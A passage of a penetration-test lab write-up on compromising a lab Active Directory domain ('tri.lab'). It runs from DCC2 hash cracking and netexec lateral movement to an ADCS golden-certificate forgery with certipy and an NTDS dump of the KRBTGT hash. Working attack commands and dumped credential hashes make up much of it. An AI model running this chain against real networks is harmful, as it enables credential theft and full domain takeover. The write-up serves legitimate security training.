SMB 10.1.89.228 445 BIKE-SRV TRI\BIKE-SRV$:plain_password_hex:21643dc98e819c38dfd3823938443379e19651c1606adba20eec2829a8049d4aa9adc5a9ac8ec1e8682b6427cf900ebe913c73a718cf8a4b4213475caf0aef0e069a9cf164260689a46890ac96013b83f72f2a94ba0d6ee8bb734136ae6e2e291473aedcebb62aea61ce0a588c20773b65b0165a83789e8a64f04bc92323079eb55c18fc564803f744dd6f37ad3d6103a516a38e71b077ae54825c243e3c222a1a7700cf407cf06f6a5886691127343e727ba8f34ea08d6ee2890f97bbfbf02aff4910152c7186a8b629d53f0105584a702fffafd8b98abc23a5553c688a3558b3d3ec1dd2771a908a41a659abc538be
SMB 10.1.89.228 445 BIKE-SRV TRI\BIKE-SRV$:aad3b435b51404eeaad3b435b51404ee:eead102291a9ecf7c3bc7d170b77aa2a:::
SMB 10.1.89.228 445 BIKE-SRV dpapi_machinekey:0xa2d39c0a2a834f5ffa23e290b622fa3a8a83c285
dpapi_userkey:0x7cd091235ffccf5405522a0079471092772d3b38
```
#### 3. Key Concepts & Next Steps
* **DCC2 Hashes (MSCACHEv2):** These hashes are notoriously slow and difficult to crack compared to standard NTLM hashes due to their cryptographic design (they incorporate the username as salt and use 10,240 iterations of PBKDF2). However, in a lab context, they are often crackable with standard wordlists or rules.
* **Objective for Next Phase:** Attempt to crack the DCC2 hash for `Administrator` or `mpearson` offline using Hashcat and a dedicated GPU. Successful cracking of the domain `Administrator` account would lead directly to domain dominance.
## Compromising the Swim Server
### Overview
* **Objective:** Penetration test of the 2025 US Elite Triathlon National Team's internal network.
* **Goal:** Full compromise (obtain the NTLM hash for the `KRBTGT` account).
* **Scope:** Lab environment assets only (Bike Server, Run Server, Swim Server).
***
### 1. Post-Exploitation Hash Cracking (DCC2)
Following the LSA secret extraction from the `bike-srv` in Part 5, we obtained Domain Cached Credentials (DCC2 / MSCash2) hashes for the users `Administrator` and `m.pearson`.
#### Cracking Process (Hashcat)
DCC2 hashes require a specific format to be processed by Hashcat.
* **Original Extracted Format:** `\mpearson:`
* **Required Hashcat Format:** `$DCC2$10240#mpearson#` *(Note: The iteration count `10240` and username must be correctly structured).*
To prevent degrading VM performance, the hashes were transferred to a host machine with a dedicated GPU (RTX 3070).
```
TRI.LAB/Administrator:$DCC2$10240#Administrator#9ba54f4ea00cab3cd7afc83b1a2ee62d
TRI.LAB/m.pearson:$DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa
```
```bash
# Hashcat command to crack DCC2/MSCash2 hashes (Mode 2100)
hashcat -m 2100 hash2.txt /usr/share/wordlists/rockyou.txt
```
**Results:**
* `m.pearson` hash successfully cracked! **Password:** `2silver`
* `Administrator` hash was uncrackable using standard wordlists (as expected for high-value targets in labs).
### 2. Lateral Movement & Host Compromise (Swim Server)
With valid credentials for `m.pearson`, the next step is to validate access across the network.
```bash
# Testing mpearson's credentials against the domain
netexec smb hosts.txt -u m.pearson -p '2silver'
```
**Finding:** The `netexec` output returned `(Pwn3d!)` against the **Swim Server**. This indicates that `m.pearson` is a local administrator on the `swim-server`.
#### Swim Server Post-Exploitation
With administrative access to the `swim-srv`, local credential harvesting was executed.
```bash
# Dumping the local SAM database
netexec smb swim-srv.tri.lab -u m.pearson -p '2silver' --sam
# Dumping LSA secrets
netexec smb swim-srv.tri.lab -u m.pearson -p '2silver' --lsa
```
**Results:** Harvested additional local administrative hashes and a DCC2 hash for `e.ackerlund`. However, `e.ackerlund` was previously compromised via NTLM relaying, making further cracking attempts unnecessary.
### 3. Active Directory Attack Path Analysis (BloodHound)
Operating with full control over the `swim-srv` computer account (since we have local administrative access), we consult BloodHound to determine if the computer account itself holds any elevated privileges in Active Directory.
#### Key BloodHound Discoveries for `swim-server`
1. **Group Membership:** The `swim-srv` is a member of the **Cert Publishers** group.
2. **Outbound Object Control (The Target):** The `swim-srv` holds **`GenericAll` (Full Control)** privileges over the Active Directory Certificate Services (ADCS) **Certificate Authority (CA)** object.
#### The Objective (Part 7 Strategy)
The combination of `GenericAll` over the CA and membership in the `Cert Publishers` group is a critical security misconfiguration. This allows an attacker who controls the `swim-server` computer account to manipulate the Enterprise Certificate Authority.
The next phase will involve researching and executing an ADCS attack (likely an ESC7 or similar variant) leveraging the `swim-srv` account to issue a malicious certificate, ultimately leading to Domain Admin and the `KRBTGT` hash.
## Full Compromise - **Golden Certificate (Certificate Forgery)**
### 1. Key Terms & Concepts
* **GenericAll over Certificate Authority:** An extreme Active Directory misconfiguration where a user or computer object has "Full Control" (`GenericAll`) over the Enterprise CA server object. This allows the attacker to remotely back up the CA's private key and certificate.
* **Golden Certificate (Certificate Forgery):** Once an attacker possesses the CA's private key and certificate, they can act as the Certificate Authority. This enables them to forge and sign arbitrary client authentication certificates for any user in the domain (e.g., a Domain Admin) without needing their passwords.
* **Pass-the-Certificate / PKINIT Authentication:** Using a forged client certificate to authenticate against the Kerberos Key Distribution Center (KDC). Upon successful authentication, the KDC responds with a Ticket Granting Ticket (TGT) and the user's NTLM hash.
* **NTDS.dit Extraction (DCSync):** `NTDS.dit` is the primary database file for Active Directory, storing all domain users and their password hashes. Dumping it proves total domain compromise.
* **KRBTGT Account:** The Kerberos Ticket Granting Ticket service account. The password hash of this account is the ultimate flag in AD penetration tests; possessing it allows an attacker to forge "Golden Tickets" and maintain persistent, undetectable domain admin access.
### 2. Tools Used
* **Certipy / Certipy-AD:** An offensive security tool designed to enumerate and exploit misconfigurations in Active Directory Certificate Services (ADCS).
* **NetExec (nxc):** A network exploitation tool that helps automate post-exploitation tasks, such as performing DCSync attacks (`--ntds`) once administrative access is obtained.
### 3. Methodology & Execution
#### Step 1: Backup the CA's Private Key
Using the privileges of the compromised Swim Server (via the `mpearson` account), we can exploit the `GenericAll` permission to remotely export the CA's certificate and private key (`.pfx`).
*Note: The `-target-ip` flag must point to the system where the CA is hosted or the system whose context allows the backup.*
```bash
# Back up the CA certificate and private key
certipy-ad ca -backup -ca "tri-CA" -username "m.pearson" -password "2silver" -dc-ip[dc-ip] -target-ip [swim-srv ip]
```
*Result: This generates a `.pfx` file containing the CA's cryptographic material.*
```
┌──(kali㉿kali)-[~/Desktop/triathlon]
└─$ certipy-ad ca -backup -ca "tri-CA" -username "m.pearson" -password "2silver" -dc-ip 10.1.224.202 -target-ip 10.1.108.180
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'tri-CA.pfx'
[*] Wrote certificate and private key to 'tri-CA.pfx'
[*] Cleaning up
```
#### Step 2: Forge a Certificate for a Domain Admin
With the CA's private key secured, we forge a new certificate for a known highly privileged user: `j.reed_adm`.
*Troubleshooting Note:* The standard forgery command failed initially due to syntax checking. Adding the Certificate Revocation List (CRL) LDAP path (`-crl 'ldap://try.lab'`) successfully bypassed the validation checks.
```bash
certipy-ad forge -ca-pfx "tri-CA.pfx" -upn "j.reed_adm@tri.lab" -subject "CN=JOHN ADMIN,CN=USERS,DC=TRI,DC=LAB" -crl 'ldap:///'
```
*Result: This generates a new forged certificate file, typically named `Jread_admin_forge.pfx`.*
#### Step 3: Pass-the-Certificate Authentication
Next, we use the forged `.pfx` file to authenticate to the Domain Controller (Run Server). `Certipy-ad` handles the PKINIT authentication exchange and will automatically extract the NTLM hash of the target user from the KDC's response.
```bash
# Authenticate using the forged certificate to retrieve the NTLM hash
certipy-ad auth -pfx "j.reed_adm_forged.pfx" -dc-ip [dc-ip]
```
*Result: Successful authentication returns the NTLM hash for the Domain Admin account (`j.reed_adm`).*
```
j.reed_adm@tri.lab': aad3b435b51404eeaad3b435b51404ee:213846abdca7279a77229f6b422263fe
```
#### Step 4: Dump the NTDS and Capture the Final Flag
Armed with the Domain Admin's NTLM hash, we perform a Pass-the-Hash (PtH) attack to remotely dump the entire `NTDS.dit` database from the Domain Controller. Our ultimate objective is the `KRBTGT` hash.
```bash
# Dump the Active Directory database hashes (DCSync)
nxc smb [dc-ip] -u 'j.reed_adm' -H '[j.reed_adm hash]' --ntds
```
**Final Result:** The Active Directory database is dumped. The `KRBTGT` hash is successfully recovered, signaling 100% total domain compromise. Lab complete!
```
──(kali㉿kali)-[~/Desktop/triathlon]
└─$ nxc smb 10.1.224.202 -u 'j.reed_adm' -H '213846abdca7279a77229f6b422263fe' --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] y
SMB 10.1.224.202 445 RUN-SRV [*] Windows Server 2022 Build 20348 x64 (name:RUN-SRV) (domain:tri.lab) (signing:True) (SMBv1:False)
SMB 10.1.224.202 445 RUN-SRV [+] tri.lab\j.reed_adm:213846abdca7279a77229f6b422263fe (Pwn3d!)
SMB 10.1.224.202 445 RUN-SRV [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.1.224.202 445 RUN-SRV Administrator:500:aad3b435b51404eeaad3b435b51404ee:183d35a34c9741693912242ec48f9930:::
SMB 10.1.224.202 445 RUN-SRV Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.1.224.202 445 RUN-SRV krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3e51ec78e8a47ef55791dad0f752aa69:::
SMB 10.1.224.202 445 RUN-SRV tri.lab\t.spivey:1103:aad3b435b51404eeaad3b435b51404ee:aaf895b31116d312a414dab0c45e0ba2:::
SMB 10.1.224.202 445 RUN-SRV tri.lab\j.reed:1104:aad3b435b51404eeaad3b435b51404ee:405c3b0e8ab6887b49064708c9277caf:::
SMB 10.1.224.202 445 RUN-SRV tri.lab\e.ackerlund:1105:aad3b435b51404eeaad3b435b51404ee:35393dfc46f632e8e98830ac911779bb:::
SMB 10.1.224.202 445 RUN-SRV tri.lab\m.pearson:1106:aad3b435b51404eeaad3b435b51404ee:40d6f296d7a84f7a52d37b5fd8cba80a:::
SMB 10.1.224.202 445 RUN-SRV tri.lab\j.reed_adm:1109:aad3b435b51404eeaad3b435b51404ee:213846abdca7279a77229f6b422263fe:::
SMB 10.1.224.202 445 RUN-SRV RUN-SRV$:1000:aad3b435b51404eeaad3b435b51404ee:2f4a8acd4d531c4148e1c2aa369199d0:::
SMB 10.1.224.202 445 RUN-SRV BIKE-SRV$:1107:aad3b435b51404eeaad3b435b51404ee:eead102291a9ecf7c3bc7d170b77aa2a:::
SMB 10.1.224.202 445 RUN-SRV SWIM-SRV$:1108:aad3b435b51404eeaad3b435b51404ee:f278df86d7e04ce36317cde4bd004dfb:::
```
{% hint style="info" %}
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3e51ec78e8a47ef55791dad0f752aa69:::
{% endhint %}